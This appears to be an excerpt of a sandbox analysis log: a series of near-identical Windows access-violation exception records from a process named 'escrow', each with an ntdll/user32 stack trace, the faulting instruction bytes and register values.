__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000558592	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000662016	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000558592	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000662016	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000558592	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000662016	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000558592	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 1633024	1
